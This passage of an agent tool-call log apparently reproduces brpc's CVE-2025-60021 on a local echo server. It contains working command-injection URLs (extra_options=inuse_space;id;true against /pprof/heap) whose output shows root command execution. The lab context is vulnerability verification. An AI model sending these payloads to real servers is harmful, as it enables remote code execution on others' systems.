        "stderr": "In file included from ../../output/include/brpc/baidu_master_service.h:27,\n                 from ../../output/include/brpc/server.h:46,\n                 from server.cpp:22:\n../../output/include/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n../../output/include/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from ../../output/include/brpc/options.pb.h:26,\n                 from ../../output/include/brpc/controller.h:33,\n                 from ../../output/include/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from ../../output/include/brpc/baidu_master_service.h:28:\n../../output/include/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n../../output/include/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from ../../output/include/butil/object_pool.h:73,\n                 from ../../output/include/brpc/rpc_pb_message_factory.h:25,\n                 from ../../output/include/brpc/server.h:47:\n../../output/include/butil/object_pool_inl.h: In instantiation of ‘static butil::ObjectPool<T>* butil::ObjectPool<T>::singleton() [with T = brpc::internal::ArenaRpcPBMessages<256, 8192>]’:\n../../output/include/butil/object_pool.h:86:36:   required from ‘T* butil::get_object(Args&& ...) [with T = brpc::internal::ArenaRpcPBMessages<256, 8192>; Args = {brpc::internal::ArenaRpcPBMessages<256, 8192>::ArenaOptionsWrapper&}]’\n../../output/include/brpc/rpc_pb_message_factory.h:106:62:   required from ‘brpc::RpcPBMessages* brpc::internal::ArenaRpcPBMessageFactory<StartBlockSize, MaxBlockSize>::Get(const google::protobuf::Service&, const google::protobuf::MethodDescriptor&) [with long unsigned int StartBlockSize = 256; long unsigned int MaxBlockSize = 8192]’\n../../output/include/brpc/rpc_pb_message_factory.h:103:20:   required from here\n../../output/include/butil/object_pool_inl.h:349:17: warning: ‘new’ of type ‘butil::ObjectPool<brpc::internal::ArenaRpcPBMessages<256, 8192> >’ with extended alignment 64 [-Waligned-new=]\n  349 |             p = new ObjectPool();\n      |                 ^~~~~~~~~~~~~~~~\n../../output/include/butil/object_pool_inl.h:349:17: note: uses ‘void* operator new(std::size_t)’, which does not have an alignment parameter\n../../output/include/butil/object_pool_inl.h:349:17: note: use ‘-faligned-new’ to enable C++17 over-aligned new support\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 60,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:34.861135Z",
      "duration": 0.01825823000035598,
      "request": {
        "command": "ls -la /usr/lib/x86_64-linux-gnu/libjemalloc.so*",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "lrwxrwxrwx 1 root root     16 Apr 18  2024 /usr/lib/x86_64-linux-gnu/libjemalloc.so -> libjemalloc.so.2\n-rw-r--r-- 1 root root 830656 Apr 18  2024 /usr/lib/x86_64-linux-gnu/libjemalloc.so.2\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 61,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:39.818176Z",
      "duration": 0.01466425899980095,
      "request": {
        "command": "grep -n \"port\" -n /home/user/pruva/work/brpc-1.14.1/example/echo_c++/server.cpp | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "27:DEFINE_int32(port, 8000, \"TCP Port of this server\");\n29:            \" If this is set, the flag port will be ignored\");\n80:        // Use checksum, only support CRC32C now.\n127:        point = butil::EndPoint(butil::IP_ANY, FLAGS_port);\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 62,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:45.645265Z",
      "duration": 0.00974070300026142,
      "request": {
        "command": "grep -n \"EnableBuiltin\" -n /home/user/pruva/work/brpc-1.14.1/example/echo_c++/server.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 1,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 63,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:51.605765Z",
      "duration": 0.010285882999596652,
      "request": {
        "command": "grep -n \"HasEnableJemallocProfile\" -n /home/user/pruva/work/brpc-1.14.1/src/brpc/details/jemalloc_profiler.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "70:static bool HasEnableJemallocProfile() {\n102:    if (!HasEnableJemallocProfile()) {\n122:    if (!HasEnableJemallocProfile()) {\n155:    if (!HasEnableJemallocProfile()) {\n185:    if (!HasEnableJemallocProfile()) {\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 64,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:55.213449Z",
      "duration": 0.010966114999973797,
      "request": {
        "command": "sed -n '60,110p' /home/user/pruva/work/brpc-1.14.1/src/brpc/details/jemalloc_profiler.cpp",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "    }\n    fns.insert(fn);\n    return false;\n}\n\nbool HasJemalloc() {\n    return mallctl != nullptr;\n}\n\n// env need MALLOC_CONF=\"prof:true\" before process start\nstatic bool HasEnableJemallocProfile() {\n    bool prof = false;\n    size_t len = sizeof(prof);\n    int ret = mallctl(\"opt.prof\", &prof, &len, nullptr, 0);\n    if (ret != 0) {\n        LOG(WARNING) << \"mallctl get opt.prof err, ret:\" << ret;\n        return false;\n    }\n    return prof;\n}\n\nstatic void WriteCb(void *opaque, const char *str) {\n    // maybe call n times WriteCb by single malloc_stats_print\n    static_cast<std::string*>(opaque)->append(str);\n}\n\nstd::string StatsPrint(const std::string& opts) {\n    if (malloc_stats_print == nullptr) {\n        return \"your jemalloc no support malloc_stats_print\";\n    }\n\n    std::string stat_str;\n    malloc_stats_print(WriteCb, &stat_str, opts.c_str());\n    return stat_str;\n}\n\nstatic int JeProfileActive(bool active) {\n    if (!HasJemalloc()) {\n        LOG(WARNING) << \"no jemalloc\";\n        return -1;\n    }\n\n    if (!HasEnableJemallocProfile()) {\n        LOG(WARNING) << \"jemalloc have not set opt.prof before start\";\n        return -1;\n    }\n\n    int ret = mallctl(\"prof.active\", nullptr, nullptr, &active, sizeof(active));\n    if (ret != 0) {\n        LOG(WARNING) << \"mallctl set prof.active:\" << active << \" err, ret:\" << ret;\n        return ret;\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 65,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:00.884825Z",
      "duration": 0.014495913000246219,
      "request": {
        "command": "mkdir -p /home/user/pruva/work/logs && MALLOC_CONF=\"prof:true\" LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 JEPROF_FILE=/usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server --port=8000 > /home/user/pruva/work/logs/echo_server.log 2>&1 & echo $!",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "24608\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 66,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:07.544841Z",
      "duration": 2.040282670000124,
      "request": {
        "command": "sleep 2 && curl -s http://127.0.0.1:8000/status | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "version: example::EchoServiceImpl\nnon_service_error: 0\nconnection_count: 1\nmax_concurrency: unlimited\nconcurrency: 0\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 67,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:13.907242Z",
      "duration": 0.03241013400020165,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=;id;\" | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "[127.0.0.1:8000]Fail to dump profile",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 68,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:22.017162Z",
      "duration": 0.008987258999695769,
      "request": {
        "command": "tail -n 50 /home/user/pruva/work/logs/echo_server.log",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "E0120 23:46:00.907697 24608     0 /home/user/pruva/work/brpc-1.14.1/src/brpc/server.cpp:1153 StartInternal] Fail to listen 0.0.0.0:8000\nE0120 23:46:00.908118 24608     0 server.cpp:133 main] Fail to start EchoServer\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 69,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:29.487332Z",
      "duration": 0.014787984000122378,
      "request": {
        "command": "ss -ltnp | grep 8000 || true",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "/bin/sh: 1: ss: not found\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 70,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:32.829480Z",
      "duration": 0.015257935000136058,
      "request": {
        "command": "netstat -tlnp 2>/dev/null | grep 8000 || true",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 71,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:36.875659Z",
      "duration": 0.029644706999988557,
      "request": {
        "command": "curl -s -o /dev/null -w \"%{http_code}\\n\" http://127.0.0.1:8000/status",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "200\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 72,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:41.946499Z",
      "duration": 0.029629691000081948,
      "request": {
        "command": "ps -ef | grep echo_server | grep -v grep",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "root     14867     1  0 23:23 ?        00:00:02 ./echo_server -port 8000\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 73,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:47.735283Z",
      "duration": 0.010022990999914327,
      "request": {
        "command": "readlink -f /proc/14867/cwd",
        "timeout": 60.0
      },
      "response": {
        "returncode": 1,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 74,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:50.854745Z",
      "duration": 0.009846498000115389,
      "request": {
        "command": "tr '\\0' ' ' < /proc/14867/cmdline",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./echo_server -port 8000 ",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 75,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:46:55.880904Z",
      "duration": 0.006345402999613725,
      "request": {
        "command": "kill 14867",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 76,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:47:02.813242Z",
      "duration": 0.007531662000019423,
      "request": {
        "command": "MALLOC_CONF=\"prof:true\" LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 JEPROF_FILE=/usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server --port=8000 > /home/user/pruva/work/logs/echo_server.log 2>&1 & echo $!",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "24656\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 77,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:47:08.382667Z",
      "duration": 2.0348927750001167,
      "request": {
        "command": "sleep 2 && curl -s -o /dev/null -w \"%{http_code}\\n\" http://127.0.0.1:8000/status",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "200\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 78,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:47:14.785774Z",
      "duration": 3.333847764999973,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text\" | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234711.heap\ncmd: /usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server ./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234711.heap --text \nTotal: 14.1 MB\n     4.5  31.6%  31.6%      4.5  31.6% butil::PtAllocator::Alloc (inline)\n     4.4  31.2%  62.8%      4.4  31.2% butil::ResourcePool::add_block_group (inline)\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 79,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:47:22.405486Z",
      "duration": 3.272675783000068,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=;id;\" | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234719.heap\nread_command_output </usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server ./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234719.heap --;id;  --text > fail",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 80,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:47:43.393778Z",
      "duration": 3.1720964880000793,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;#\" | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234740.heap\nread_command_output </usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server ./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234740.heap --inuse_space;id;  --text > fail",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 81,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:47:50.928918Z",
      "duration": 3.1473243569998886,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;%23\" | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234747.heap\nread_command_output </usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server ./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234747.heap --inuse_space;id;%23  --text > fail",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 82,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:48:05.258120Z",
      "duration": 3.214476604000083,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234802.heap\ncmd: /usr/bin/jeprof /home/user/pruva/work/brpc-1.14.1/example/echo_c++/echo_server ./rpc_data/profiling/pprof_9cb34e887bb289702bbf657a28f4a606/20260120.234802.heap --inuse_space;id;true  --text \nTotal: 14.6 MB\n     4.5  30.4%  30.4%      4.5  30.4% butil::PtAllocator::Alloc (inline)\n     4.4  30.1%  60.5%      4.4  30.1% butil::ResourcePool::add_block_group (inline)\n     2.6  18.1%  78.6%      2.6  18.1% butil::ObjectPool::add_block_group (inline)\n     1.1   7.3%  85.9%      5.5  37.4% butil::ResourcePool::add_block\n     0.5   3.7%  89.6%      0.5   3.7% std::__to_chars_bfloat16_t@@GLIBCXX_3.4.31\n     0.5   3.5%  93.1%      0.5   3.5% operator delete[]\n     0.5   3.5%  96.6%      0.5   3.5% bthread::RemoteTaskQueue::init (inline)\n     0.5   3.4% 100.0%      0.5   3.4% brpc::InputMessenger::AddHandler\n     0.0   0.0% 100.0%      2.1  14.5% _GLOBAL__sub_I_server.cpp\n     0.0   0.0% 100.0%      2.1  14.5% _GLOBAL__sub_I_server.cpp (inline)\n     0.0   0.0% 100.0%      6.5  44.5% __libc_start_call_main\n     0.0   0.0% 100.0%      6.5  44.5% __libc_start_main_impl\n     0.0   0.0% 100.0%      3.7  25.0% __pthread_once_slow\n     0.0   0.0% 100.0%      0.5   3.7% _dl_start_user\n     0.0   0.0% 100.0%      8.6  59.0% _start\n     0.0   0.0% 100.0%      1.8  12.4% brpc::Acceptor::Initialize\n     0.0   0.0% 100.0%      0.5   3.7% brpc::Acceptor::OnNewConnections\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 83,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:48:13.777333Z",
      "duration": 3.2519039359999624,
      "request": {
        "command": "curl -s \"http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true\" | grep -n \"uid\" | head -n 5",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "109:uid=0(root) gid=0(root) groups=0(root)\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 84,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:48:27.801334Z",
      "duration": 5.620594815000004,
      "request": {
        "command": "mkdir -p /home/user/pruva/work/brpc-1.15.0/build && cd /home/user/pruva/work/brpc-1.15.0/build && cmake ..",
        "timeout": 300.0
      },
      "response": {
        "returncode": 0,
        "stdout": "-- The C compiler identification is GNU 13.3.0\n-- The CXX compiler identification is GNU 13.3.0\n-- Detecting C compiler ABI info\n-- Detecting C compiler ABI info - done\n-- Check for working C compiler: /usr/bin/cc - skipped\n-- Detecting C compile features\n-- Detecting C compile features - done\n-- Detecting CXX compiler ABI info\n-- Detecting CXX compiler ABI info - done\n-- Check for working CXX compiler: /usr/bin/c++ - skipped\n-- Detecting CXX compile features\n-- Detecting CXX compile features - done\n-- Found gflags: /usr/lib/x86_64-linux-gnu/libgflags.so\n-- Found Protobuf: /usr/lib/x86_64-linux-gnu/libprotobuf.so (found version \"3.21.12\") \n-- Found Threads: TRUE  \n-- Found OpenSSL: /usr/lib/x86_64-linux-gnu/libcrypto.so (found version \"3.0.13\")  \n-- Configuring done (4.8s)\n-- Generating done (0.4s)\n-- Build files have been written to: /home/user/pruva/work/brpc-1.15.0/build\n",
        "stderr": "CMake Deprecation Warning at CMakeLists.txt:18 (cmake_minimum_required):\n  Compatibility with CMake < 3.5 will be removed from a future version of\n  CMake.\n\n  Update the VERSION argument <min> value or use a ...<max> suffix to tell\n  CMake that the project does not need compatibility with older versions.\n\n\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 85,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:53:32.868804Z",
      "duration": 300.0038070720002,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.15.0/build && make -j2",
        "timeout": 300.0
      },
      "response": {
        "returncode": null,
        "stdout": "[  0%] Generating idl_options.pb.h, idl_options.pb.cc\n[  0%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/dmg_fp/g_fmt.cc.o\n[  0%] Generating brpc/builtin_service.pb.h, brpc/builtin_service.pb.cc\n[  0%] Generating brpc/errno.pb.h, brpc/errno.pb.cc\n[  0%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/dmg_fp/dtoa_wrapper.cc.o\n[  1%] Generating brpc/get_favicon.pb.h, brpc/get_favicon.pb.cc\n[  1%] Generating brpc/get_js.pb.h, brpc/get_js.pb.cc\n[  2%] Generating brpc/grpc_health_check.pb.h, brpc/grpc_health_check.pb.cc\n[  2%] Generating brpc/nshead_meta.pb.h, brpc/nshead_meta.pb.cc\n[  3%] Generating brpc/options.pb.h, brpc/options.pb.cc\n[  3%] Generating brpc/policy/baidu_rpc_meta.pb.h, brpc/policy/baidu_rpc_meta.pb.cc\n[  3%] Generating brpc/policy/hulu_pbrpc_meta.pb.h, brpc/policy/hulu_pbrpc_meta.pb.cc\n[  3%] Generating brpc/policy/mongo.pb.h, brpc/policy/mongo.pb.cc\n[  4%] Generating brpc/policy/public_pbrpc_meta.pb.h, brpc/policy/public_pbrpc_meta.pb.cc\n[  4%] Generating brpc/policy/sofa_pbrpc_meta.pb.h, brpc/policy/sofa_pbrpc_meta.pb.cc\n[  4%] Generating brpc/proto_base.pb.h, brpc/proto_base.pb.cc\n[  4%] Generating brpc/rpc_dump.pb.h, brpc/rpc_dump.pb.cc\n[  4%] Generating brpc/rtmp.pb.h, brpc/rtmp.pb.cc\n[  4%] Generating brpc/span.pb.h, brpc/span.pb.cc\n[  5%] Generating brpc/streaming_rpc_meta.pb.h, brpc/streaming_rpc_meta.pb.cc\n[  5%] Generating brpc/trackme.pb.h, brpc/trackme.pb.cc\n[  5%] Building C object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/dynamic_annotations/dynamic_annotations.c.o\n[  6%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/icu/icu_utf.cc.o\n[  6%] Building CXX object CMakeFiles/PROTO_LIB.dir/idl_options.pb.cc.o\n[  6%] Building C object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/superfasthash/superfasthash.c.o\n[  6%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/modp_b64/modp_b64.cc.o\n[  6%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/symbolize/demangle.cc.o\n[  7%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/symbolize/symbolize.cc.o\n[  7%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/rtmp.pb.cc.o\n[  7%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/snappy/snappy-sinksource.cc.o\n[  7%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/snappy/snappy-stubs-internal.cc.o\n[  8%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/snappy/snappy.cc.o\n[  9%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/rpc_dump.pb.cc.o\n[  9%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/third_party/murmurhash3/murmurhash3.cpp.o\n[  9%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/arena.cpp.o\n[  9%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/at_exit.cc.o\n[  9%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/get_favicon.pb.cc.o\n[ 10%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/atomicops_internals_x86_gcc.cc.o\n[ 10%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/base64.cc.o\n[ 10%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/span.pb.cc.o\n[ 10%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/base64url.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/big_endian.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/cpu.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/alias.cc.o\n[ 11%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/asan_invalid_access.cc.o\n[ 12%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/builtin_service.pb.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/crash_logging.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/debugger.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/debugger_posix.cc.o\n[ 13%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/dump_without_crashing.cc.o\n[ 13%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/grpc_health_check.pb.cc.o\n[ 14%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/proc_maps_linux.cc.o\n[ 14%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/stack_trace.cc.o\n[ 14%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/get_js.pb.cc.o\n[ 14%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/debug/stack_trace_posix.cc.o\n[ 15%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/environment.cc.o\n[ 15%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/errno.pb.cc.o\n[ 15%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file.cc.o\n[ 16%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/nshead_meta.pb.cc.o\n[ 16%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_posix.cc.o\n[ 16%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/options.pb.cc.o\n[ 16%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_enumerator.cc.o\n[ 17%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_enumerator_posix.cc.o\n[ 17%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/baidu_rpc_meta.pb.cc.o\n[ 17%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_path.cc.o\n[ 17%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/file_path_constants.cc.o\n[ 18%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/memory_mapped_file.cc.o\n[ 19%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/hulu_pbrpc_meta.pb.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/memory_mapped_file_posix.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/scoped_file.cc.o\n[ 19%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/public_pbrpc_meta.pb.cc.o\n[ 19%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/files/scoped_temp_dir.cc.o\n[ 20%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/file_util.cc.o\n[ 20%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/file_util_posix.cc.o\n[ 20%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/sofa_pbrpc_meta.pb.cc.o\n[ 20%] Building CXX object CMakeFiles/PROTO_LIB.dir/brpc/policy/mongo.pb.cc.o\n[ 20%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/guid.cc.o\n[ 20%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/guid_posix.cc.o\n[ 21%] Building CXX object src/CMakeFiles/BUTIL_LIB.dir/butil/hash.cc.o\n[ 22%] Building CXX object 